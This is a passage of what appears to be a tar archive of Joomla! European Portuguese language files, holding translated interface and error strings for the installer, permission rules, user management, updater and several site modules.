detalhes do componente" JLIB_INSTALLER_ERROR_COMP_FAILED_TO_CREATE_DIRECTORY="Componente %1$s: falha ao criar a pasta: %2$s." JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Instalação de componente - ficheiro XML não contém um elemento de administração" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Componente - Instalação. Outro componente já está a usar a pasta: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Componente - Instalação. Outro componente já está a usar a pasta: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Componente - Instalação. Falha ao criar pasta de administração: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Componente - Instalação. Falha ao criar pasta de sítio: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Atualizar Cache de manifesto do componente: Falha ao armazenar detalhes do componente" JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="Não foi possível eliminar os menus da administração." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Componente - Desinstalação. Script de desinstalação personalizada sem êxito" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Desinstalação do componente: Não é possível eliminar as categorias do componente." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Desinstalação do componente: Não é possível desinstalar. Por favor, remova manualmente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Componente - Desinstalação. Extensão desconhecida" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Desinstalação do componente - não é possível remover a pasta de administração do componente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Desinstalação do componente - não é possível remover a pasta de sítio do componente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Componente - Desinstalação. Opção de campo vazio, não é possível remover ficheiros." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Componente - Desinstalação. Erro de ficheiro SQL %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Componente - Desinstalação. Tentou desinstalar um componente nuclear Joomla." JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Componente - Atualização. Falha ao criar pasta de administração: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Componente - Atualização. Falha ao criar pasta de sítio: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller - Instalação. Falha ao criar pasta %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Falha ao criar pasta [%s]" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Formato de instalação obsoleto (cliente = AMBOS), usar o instalador do pacote no futuro" JLIB_INSTALLER_ERROR_DISCOVER_INSTALL_UNSUPPORTED="Não foi possível instalar a extensão %s através do método de descoberta. Por favor, instale esta extensão pelo Gestor de extensões =>instalar." JLIB_INSTALLER_ERROR_DOWNGRADE="Lamentamos mas não pode recuar da versão %s para %s" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Erro ao ligar-se ao servidor: %s" JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller - Instalação. Falha a copiar o ficheiro %1$s para %2$s" JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller - Instalação. Falha a copiar a pasta %1$s para %2$s" JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Falha na leitura de recursos de rede: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller - Instalação. Ficheiro já existe %s" JLIB_INSTALLER_ERROR_FILE_FOLDER="Erro ao eliminar ficheiro ou pasta %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Desinstalação de ficheiros - Ficheiro de manifesto inválido" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalação de ficheiros - Ficheiro de manifesto inválido ou não encontrado." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Desinstalação de ficheiros -Não foi possível carregar entrada de extensão" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Desinstalação de ficheiros - Não foi possível carregar o ficheiro de manifesto." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Desinstalação de ficheiros - Erro de ficheiro SQL %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="Desinstalação de ficheiros - Tentou desinstalar ficheiros nucleares." JLIB_INSTALLER_ERROR_FOLDER_IN_USE="Outra extensão já está a usar a pasta [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Instalar idioma por descoberta - Falha ao armazenar detalhes de idioma." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="Este idioma não pode ser desinstalado enquanto se encontrar definido como um idioma padrão." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Desinstalação de idioma - não é possível remover a pasta do idioma especificado." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Desinstalar idioma: Elemento está vazio, não é possível desinstalar os ficheiros" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Desinstalar idioma: Idioma path está vazio, não é possível desinstalar os ficheiros" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="Este idioma não pode ser desinstalado. Ela está protegida na base de dados (normalmente en-GB)" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Instalar biblioteca por descoberta: Falha ao armazenar detalhes de biblioteca" JLIB_INSTALLER_ERROR_LIB_REFRESH_MANIFEST_CACHE="Atualização da Cache do manifesto da biblioteca: ocorreu um erro ao armazenar os detalhes da biblioteca." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Desinstalar Biblioteca. Ficheiro de manifesto inválido." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar Biblioteca: Ficheiro de Manifesto inválido ou não encontrado." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Desinstalação de biblioteca: não foi possível carregar o ficheiro de manifesto." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Desinstalar biblioteca - Tentou desinstalar uma biblioteca nuclear." JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller:: instalar - Falha ao carregar o ficheiroXML: %s" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Instalar módulo por descoberta: Falha ao armazenar detalhes do módulo" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Atualização do manifesto de Cache do módulo: Falha ao armazenar detalhes do módulo." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar módulo: Extensão desconhecida" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Desinstalar módulo: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar Módulo: Ficheiro de Manifesto inválido ou não encontrado." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Desinstalar módulo: Ficheiro de erro SQL %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Desinstalar módulo -Tentou desinstalar um módulo nuclear: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="Não existe pacote nuclear para o idioma [%s]" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller:: instalação: ficheiro não existe %s" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="O pacote não especifica um código de idioma. Será que está a instalar um pacote de idioma antigo?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller - Instalação. Não foi possível encontrar o ficheiro XML para instalações Joomla." JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller - Instalação. Não foi possível localizar o ficheiro XML de configuração." JLIB_INSTALLER_ERROR_PACK_REFRESH_MANIFEST_CACHE="Atualização da Cache do manifesto do pacote: ocorreu um erro ao armazenar os detalhes do pacote." JLIB_INSTALLER_ERROR_PACK_SETTING_PACKAGE_ID="Não foi possível registar o ID de pacote para o pacote destas extensões." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Desinstalação de Pacote: Ficheiro de Manifesto inválido" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalação do pacote - Ficheiro de manifesto inválido ou não encontrado: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Desinstalação pacote: Não foi possível carregar o ficheiro de manifesto" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Desinstalação de pacote. Foram detetados erros e o ficheiro de manifesto não foi removido!" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Desinstalação do pacote: ficheiro de manifesto em falta" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Desinstalação do pacote: Esta extensão pode já ter sido desinstalada ou pode não ter sido desinstalada corretamente: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Desinstalação do pacote. Tentou desinstalar um pacote nuclear." JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Instalação de plugin por descoberta - Falha ao armazenar detalhes do plugin." JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Atualização do manifesto da Cache do plugin - Falha ao armazenar detalhes do plugin." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalação de plugin - Extensão desconhecida." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Desinstalação de plugin - Campo de pasta vazio, não é possível remover ficheiros." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Desinstalação de plugin - Ficheiro de manifesto inválido." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalação de plugin: Ficheiro de manifesto inválido ou não encontrado." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Desinstalação de plugin: Não foi possível carregar o ficheiro de manifesto" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Desinstalação de plugin - Tentou desinstalar um plugin nuclear: %s" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller:: instalar: erro SQL %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller - Instalação. Ficheiro SQL não encontrado %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstaller:: instalar: erro de leitura de Buffer de ficheiro SQL." JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Instalação de temas por descoberta: falha ao armazenar detalhes do tema." JLIB_INSTALLER_ERROR_TPL_REFRESH_MANIFEST_CACHE="Atualização da Cache do manifesto do tema: ocorreu um erro ao armazenar os detalhes do tema." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Tema - Desinstalação. Extensão desconhecida." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Tema - Desinstalação. Cliente inválido." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Tema - Desinstalação. Ficheiro de manifesto inválido ou não encontrado." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Desinstalar tema - Não é possível remover o tema padrão." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Desinstalar tema - a pasta não existe, não é possível remover os ficheiros." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Desinstalar tema - ID do tema está vazio, não é possível desinstalar os ficheiros." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Desinstalar tema - Tentou desinstalar um tema nuclear: %s" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Tipo de cliente desconhecido [%s]" JLIB_INSTALLER_FILE_ERROR_MOVE="Erro ao mover o ficheiro %s" JLIB_INSTALLER_INCORRECT_SEQUENCE="Não é permitido regredir da versão %1$s para a versão %2$s." JLIB_INSTALLER_INSTALL="Instalar" JLIB_INSTALLER_MINIMUM_JOOMLA="Não possui a versão mínima necessária do Joomla J%s" JLIB_INSTALLER_MINIMUM_PHP="O seu servidor não possui os requisitos mínimos para a versão PHP %s" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Idioma definido como padrão para %d utilizador" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Idioma definido como padrão para %d utilizadores" JLIB_INSTALLER_UNINSTALL="Desinstalar" JLIB_INSTALLER_UPDATE="Atualizar" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="Identificador inválido de cliente especificado na extensão pretendida." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Tentativa de desinstalação de extensão desconhecida. Esta extensão pode já ter sido removida anteriormente." JLIB_INSTALLER_NOT_ERROR="Se o erro está relacionado com a instalação dos ficheiros de idioma do TinyMCE não terá qualquer efeito na instalação do(s) idioma(s). Alguns pacotes de Idiomas criados em versões anteriores a Joomla! 3.2.0 poderão tentar instalar ficheiros de idioma separados do TinyMCE. Como estes ficheiros estão agora incluídos no núcleo, não é necessária a sua instalação" JLIB_INSTALLER_UPDATE_LOG_QUERY="Query executado pelo ficheiro %1$s. Texto da Query : %2$s." JLIB_INSTALLER_WARNING_UNABLE_TO_INSTALL_CONTENT_LANGUAGE="Não foi possível criar um idioma de conteúdo para o idioma %s: %s" JLIB_JS_AJAX_ERROR_CONNECTION_ABORT="Uma ligação foi abortada enquanto se obtinham os dados JSON." JLIB_JS_AJAX_ERROR_NO_CONTENT="Nenhum conteúdo encontrado." JLIB_JS_AJAX_ERROR_OTHER="Ocorreu um erro ao obter os dados JSON: código de estado HTTP %s." JLIB_JS_AJAX_ERROR_PARSE="Ocorreu um erro de execução ao processar os seguintes dados JSON:<br/><code style="_QQ_"color:inherit;white-space:pre-wrap;padding:0;margin:0;border:0;background:inherit;"_QQ_">%s</code>" JLIB_JS_AJAX_ERROR_TIMEOUT="Um pedido atingiu o limite temporal enquanto se obtinham os dados JSON." JLIB_LANGUAGE_ERROR_CANNOT_LOAD_METAFILE="Não foi possível carregar o ficheiro XML do idioma %s a partir de %s." JLIB_LANGUAGE_ERROR_CANNOT_LOAD_METADATA="Não foi possível carregar metadados de %s a partir de %s." JLIB_MAIL_FUNCTION_DISABLED="A função mail() foi desativada pelo que o email não pode ser enviado." JLIB_MAIL_FUNCTION_OFFLINE="A função de correio foi desativada neste sítio por um administrador." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail - remetente de email inválido: %s, JMail: :setSender(%s)" JLIB_MEDIA_ERROR_UPLOAD_INPUT="Impossível enviar o ficheiro para o servidor." JLIB_MEDIA_ERROR_WARNFILENAME="Os nomes dos ficheiros apenas podem conter caracteres alfanuméricos e não podem existir espaços." JLIB_MEDIA_ERROR_WARNFILETOOLARGE="O ficheiro é demasiado grande para enviar para o servidor." JLIB_MEDIA_ERROR_WARNFILETYPE="Este tipo de ficheiros não é suportado." JLIB_MEDIA_ERROR_WARNIEXSS="Ataque IE XSS possivelmente localizado." JLIB_MEDIA_ERROR_WARNINVALID_IMG="A imagem não é válida." JLIB_MEDIA_ERROR_WARNINVALID_MIME="Detetado um tipo MIME ilegal ou inválido." JLIB_MEDIA_ERROR_WARNNOTADMIN="O ficheiro carregado não é um ficheiro de imagem e você não possui permissões adequadas." JLIB_NO_EDITOR_PLUGIN_PUBLISHED="Não é possível mostrar um editor por nenhum plugin de editor estar publicado." JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Erro ao carregar plugins: %s" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="Não foi possível carregar a classe de formato" JLIB_RULES_ACTION="Tipo" JLIB_RULES_ALLOWED="Permitido" JLIB_RULES_ALLOWED_ADMIN="Permitido (Super utilizador)" JLIB_RULES_ALLOWED_INHERITED="Permitido (herdado)" JLIB_RULES_CALCULATED_SETTING="Regra calculada" JLIB_RULES_CONFLICT="Conflito" JLIB_RULES_DATABASE_FAILURE="Falha ao armazenar os dados na base de dados." JLIB_RULES_DENIED="Negado" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Grupos" JLIB_RULES_INHERIT="Herdado" JLIB_RULES_INHERITED="Não herdado" JLIB_RULES_NOT_ALLOWED="Não permitido" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Conflito" JLIB_RULES_NOT_ALLOWED_DEFAULT="Não permitido (padrão)" JLIB_RULES_NOT_ALLOWED_INHERITED="Não permitido (herdado)" JLIB_RULES_NOT_ALLOWED_LOCKED="Não permitido (bloqueado)" JLIB_RULES_NOT_SET="Não definido" JLIB_RULES_NOTICE_RECALCULATE_GROUP_PERMISSIONS="As permissões do super utilizador foram alteradas. Guarde ou recarregue a página para recalcular as permissões de grupo." JLIB_RULES_NOTICE_RECALCULATE_GROUP_CHILDS_PERMISSIONS="Foram alteradas as permissões num grupo com grupos dependentes. Guarde ou recarregue para recalcular as permissões dos grupos dependentes." JLIB_RULES_REQUEST_FAILURE="Falha ao enviar dados para o servidor." JLIB_RULES_SAVE_BEFORE_CHANGE_PERMISSIONS="Por favor, carregue em guardar antes de alterar as permissões." JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Permitir ou negar %s para utilizadores no grupo %s" JLIB_RULES_SELECT_SETTING="Escolher nova regra" JLIB_RULES_SETTING_NOTES="Se alterar a configuração ela será aplicável a este grupo e a todos os grupos dependentes, componentes e conteúdo. Nota:<br />a) <em><strong>NEGADO</strong></em> anulará qualquer definição herdada e também as definições em grupos dependentes, componentes ou conteúdos. No caso de um conflito de definições, <em><strong>negar</strong></em> terá precedência.<br />b) <em><strong>NÃO DEFINIDO</strong></em> é equivalente a <em><strong>negado</strong></em>, mas pode ser alterado em grupos dependentes, componentes ou conteúdo." JLIB_RULES_SETTING_NOTES_ITEM="Se alterar a configuração ela será aplicável a este item. Nota:<br />a) <em><strong>HERDADO</strong></em> significa que serão utilizadas as permissões do configuração global, grupo superior e da categoria.<br />b) <em><strong>NEGADO</strong></em>significa que independentemente das definições na configuração global, grupo contentor ou categoria, o grupo que está a ser editado não pode efetuar esta ação neste item.<br />c) <em><strong>PERMITIDO</strong></em>> significa que o grupo que está a ser editado será capaz de efetuar esta ação neste item. Este último caso só se aplica desde que não esteja em conflito com a configuração global, grupo superior ou categoria, sendo que um conflito será indicado por <em><strong>Não permitido (Bloqueado)</strong></em> nas configurações calculadas." JLIB_RULES_SETTINGS_DESC="Permite gerir as regras de permissões para os grupos de utilizadores. Ver notas no final." JLIB_STEMMER_INVALID_STEMMER="Tipo de lematizador %s inválido" JLIB_UNKNOWN="Desconhecido" JLIB_UPDATER_ERROR_COLLECTION_FOPEN="A definição PHP allow_url_fopen está desativada. Essa definição deve ser ativada para o atualizador poder funcionar." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Atualização - Coleção. Não foi possível abrir %s" JLIB_UPDATER_ERROR_COLLECTION_PARSE_URL="Atualização - Coleção. Não foi possível executar %s" JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Atualização - Extensão. Não foi possível abrir %s" JLIB_UPDATER_ERROR_EXTENSION_PARSE_URL="Atualização - Extensão. Não foi possível executar %s" JLIB_UPDATER_ERROR_OPEN_UPDATE_SITE="Atualização - Não foi possível abrir o sítio de atualização #%d "_QQ_"%s"_QQ_", URL: %s" JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication - Atenticação. Falha ao carregar o plugin: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication:: __construct: não foi possível carregar bibliotecas de autenticação." JLIB_USER_ERROR_BIND_ARRAY="Não é possível vincular a matriz ao objeto do utilizador" JLIB_USER_ERROR_CANNOT_CHANGE_SUPER_USER="Um utilizador não pode alterar as permissões de um grupo de super utilizadores." JLIB_USER_ERROR_CANNOT_CHANGE_OWN_GROUPS="Um utilizador não pode alterar as permissões do seu próprio grupo." JLIB_USER_ERROR_CANNOT_CHANGE_OWN_PARENT_GROUPS="Um utilizador não pode alterar as permissões dos grupos de que depende." JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="Não pode remover as suas próprias permissões de Super utilizador." JLIB_USER_ERROR_CANNOT_REUSE_PASSWORD="Não pode utilizar uma senha igual à sua senha anterior. Por favor, insira um senha nova." JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: Utilizador %s não existe" JLIB_USER_ERROR_NOT_SUPERADMIN="Apenas utilizadores com permissões de Super utilizador podem alterar contas de outros Super utilizadores." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="As senhas não são iguais. Por favor verifique e indique novamente a senha." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="Não foi possível encontrar um utilizador com essa sequência de caracteres de ativação" JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Não foi possível carregar o utilizador com o ID: %s" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="Não existe este grupo de utilizadores" JLIB_UTIL_ERROR_APP_INSTANTIATION="Erro na inicialização de aplicação" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: não foi possível ligar à base de dados <br /> joomla.library: %1$s - %2$s" JLIB_UTIL_ERROR_DOMIT="DommitDocument é obsoleto. Em vez disso, use DomDocument" JLIB_UTIL_ERROR_LOADING_FEED_DATA="Erro ao carregar sinal web" JLIB_UTIL_ERROR_XML_LOAD="Falha ao carregar ficheiro XML" pt-PT.mod_wrapper.sys.ini 0000604 00000000647 15174407616 0011362 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_WRAPPER="Embrulho" MOD_WRAPPER_NO_IFRAMES="Sem Iframes" MOD_WRAPPER_XML_DESCRIPTION="Este módulo cria uma janela IFrame para um determinado endereço" MOD_WRAPPER_LAYOUT_DEFAULT="Padrão" pt-PT.mod_weblinks.sys.ini 0000604 00000000657 15174407616 0011521 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_WEBLINKS="Marcadores Web" MOD_WEBLINKS_XML_DESCRIPTION="Este módulo exibe sítios favoritos a partir de uma categoria definida no componente Marcadores Web." MOD_WEBLINKS_LAYOUT_DEFAULT="Padrão" pt-PT.mod_articles_news.ini 0000604 00000005524 15174407616 0011726 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_NEWS="Artigos - Noticias rápidas" MOD_ARTICLES_NEWS_FIELD_FEATURED_DESC="Mostrar ou ocultar artigos definidos como destaques." MOD_ARTICLES_NEWS_FIELD_FEATURED_LABEL="Artigos em destaque" MOD_ARTICLES_NEWS_FIELD_CATEGORY_DESC="Artigos escolhidos de uma ou mais categorias. Se nada for escolhido serão mostrados artigos de todas as categorias" MOD_ARTICLES_NEWS_FIELD_IMAGES_DESC="Exibir imagens do artigo" MOD_ARTICLES_NEWS_FIELD_IMAGES_LABEL="Exibir imagens" MOD_ARTICLES_NEWS_FIELD_ITEMS_DESC="Número de artigos a exibir" MOD_ARTICLES_NEWS_FIELD_ITEMS_LABEL="Número de artigos" MOD_ARTICLES_NEWS_FIELD_LINKTITLE_DESC="Títulos com hiperligação aos artigos." MOD_ARTICLES_NEWS_FIELD_LINKTITLE_LABEL="Título com hiperligação" MOD_ARTICLES_NEWS_FIELD_ORDERING_DESC="Escolha a ordem em que pretende mostrar a consulta" MOD_ARTICLES_NEWS_FIELD_ORDERING_LABEL="Ordenar Resultados" MOD_ARTICLES_NEWS_FIELD_ORDERING_CREATED_DATE="Data de criação" MOD_ARTICLES_NEWS_FIELD_ORDERING_MODIFIED_DATE="Data de modificação" MOD_ARTICLES_NEWS_FIELD_ORDERING_PUBLISHED_DATE="Data de publicação" MOD_ARTICLES_NEWS_FIELD_ORDERING_ORDERING="Ordenação" MOD_ARTICLES_NEWS_FIELD_ORDERING_RANDOM="Aleatório" MOD_ARTICLES_NEWS_FIELD_READMORE_DESC="Se definido para mostrar, será exibida a ligação LER MAIS. Implica que exista texto principal no artigo." MOD_ARTICLES_NEWS_FIELD_READMORE_LABEL="Ligação Ler mais..." MOD_ARTICLES_NEWS_FIELD_SEPARATOR_DESC="Exibir separador depois do último artigo" MOD_ARTICLES_NEWS_FIELD_SEPARATOR_LABEL="Exibir último separador" MOD_ARTICLES_NEWS_FIELD_TITLE_DESC="Mostrar ou ocultar o título do artigo." MOD_ARTICLES_NEWS_FIELD_TITLE_LABEL="Exibir título do artigo" MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_DESC="Acionar plugins de ações adicionais para exibir conteúdos adicionais tal como campos personalizados ou informação sobre votação." MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_LABEL="Acionar plugins de ações" MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_DESC="Mostrar ou ocultar o texto introdutório do artigo." MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_LABEL="Exibir texto introdutório" MOD_ARTICLES_NEWS_READMORE="Ler mais..." MOD_ARTICLES_NEWS_READMORE_REGISTER="Registe-se para ler o artigo completo" MOD_ARTICLES_NEWS_TITLE_HEADING="Nível do cabeçalho" MOD_ARTICLES_NEWS_TITLE_HEADING_DESCRIPTION="Escolha o nível de cabeçalhos HTML pretendido para os títulos dos artigos." MOD_ARTICLES_NEWS_VALUE_ONLY_SHOW_FEATURED="Mostrar apenas artigos em destaque" MOD_ARTICLES_NEWS_XML_DESCRIPTION="O módulo de Notícias Rápidas exibirá um número fixo de artigos de uma categoria ou de um conjunto de categorias." pt-PT.mod_random_image.ini 0000604 00000002323 15174407616 0011500 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_RANDOM_IMAGE="Imagem aleatória" MOD_RANDOM_IMAGE_FIELD_FOLDER_DESC="Caminho para a pasta das imagens em relação ao URL do sítio (ex. images)." MOD_RANDOM_IMAGE_FIELD_FOLDER_LABEL="Pasta de imagens" MOD_RANDOM_IMAGE_FIELD_HEIGHT_DESC="Altura das imagens força todas as imagens a serem exibidas com esta altura." MOD_RANDOM_IMAGE_FIELD_HEIGHT_LABEL="Altura (px)" MOD_RANDOM_IMAGE_FIELD_LINK_DESC="Um URL para onde redirecionar caso a imagem seja clicada, p. ex. http://www.joomlaportugal.org" MOD_RANDOM_IMAGE_FIELD_LINK_LABEL="Hiperligação" MOD_RANDOM_IMAGE_FIELD_TYPE_DESC="Formato de imagem PNG/GIF/JPG etc. (padrão é JPG)" MOD_RANDOM_IMAGE_FIELD_TYPE_LABEL="Formato de imagem" MOD_RANDOM_IMAGE_FIELD_WIDTH_DESC="Largura das imagem força todas as imagens a serem exibidas com esta largura." MOD_RANDOM_IMAGE_FIELD_WIDTH_LABEL="Largura (px)" MOD_RANDOM_IMAGE_NO_IMAGES="Sem imagens" MOD_RANDOM_IMAGE_XML_DESCRIPTION="Este módulo mostra uma imagem aleatória a partir da pasta seleccionada." pt-PT.mod_articles_latest.sys.ini 0000604 00000001134 15174407616 0013054 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_LATEST="Artigos - Recentes" MOD_LATEST_NEWS_XML_DESCRIPTION="Este módulo apresenta uma lista dos artigos mais recentemente publicados e que ainda são válidos (alguns podem ter expirado mas são os mais recentes). Os artigos que são exibidos pelo componente Página principal não estão incluídos nesta lista." MOD_ARTICLES_LATEST_LAYOUT_DEFAULT="Padrão" pt-PT.lib_fof.ini 0000604 00000000763 15174407616 0007625 0 ustar 00 ; @package FrameworkOnFramework ; @copyright Copyright (C) 2010 - 2015 Nicholas K. Dionysopoulos / Akeeba Ltd. All rights reserved. ; @license GNU General Public License version 2, or later LIB_FOF_DOWNLOAD_ERR_COULDNOTDOWNLOADFROMURL="Não foi possível descarregar de %s" LIB_FOF_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE="Ficheiro local %s não é editável" LIB_FOF_DOWNLOAD_ERR_CURL_ERROR="Falha ao descarregar- Erro cURL %s: %s" LIB_FOF_DOWNLOAD_ERR_HTTPERROR="Estado HTTP %s inesperado" pt-PT.mod_whosonline.ini 0000604 00000003160 15174407616 0011243 0 ustar 00 ; Joomla! 